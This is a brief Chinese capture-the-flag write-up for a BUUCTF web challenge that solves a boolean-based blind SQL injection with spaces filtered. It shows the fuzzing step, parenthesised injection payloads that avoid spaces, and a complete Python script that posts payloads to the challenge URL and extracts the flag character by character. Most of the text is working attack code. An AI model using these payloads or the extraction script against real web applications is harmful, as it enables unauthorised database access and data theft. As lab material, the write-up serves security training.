
正确的值

错误的值 我们首先fuzz一下
发现空格被过滤了
我们首先测试
- (1)=(1)
- (1)=(2)
确定了是布尔注入了
我们写一下查询语句
- (select(ascii(mid(flag,1,1))>1)from(flag))
-
- (select(ascii(mid(flag,1,1))=102)from(flag))
确定了f 开头 我们开始写脚本
- import string
- import time
-
- import requests
-
- base_url="""http://af13e36c-216d-4683-8de3-7d39ed6ff520.node4.buuoj.cn:81/index.php"""
- req=''
- for i in range(100):
- for j in string.printable:
- payload="(select(ascii(mid(flag,{},1))={})from(flag))".format(i,ord(j))
- data={"id":payload}
- r=requests.post(url=base_url,data=data)
- if "Hello, glzjin wants a girlfriend." in r.text:
- req += j
- print(req)
- else:
- continue
- if r.status_code == 429 :
- time.sleep(0.5)
慢慢跑就行了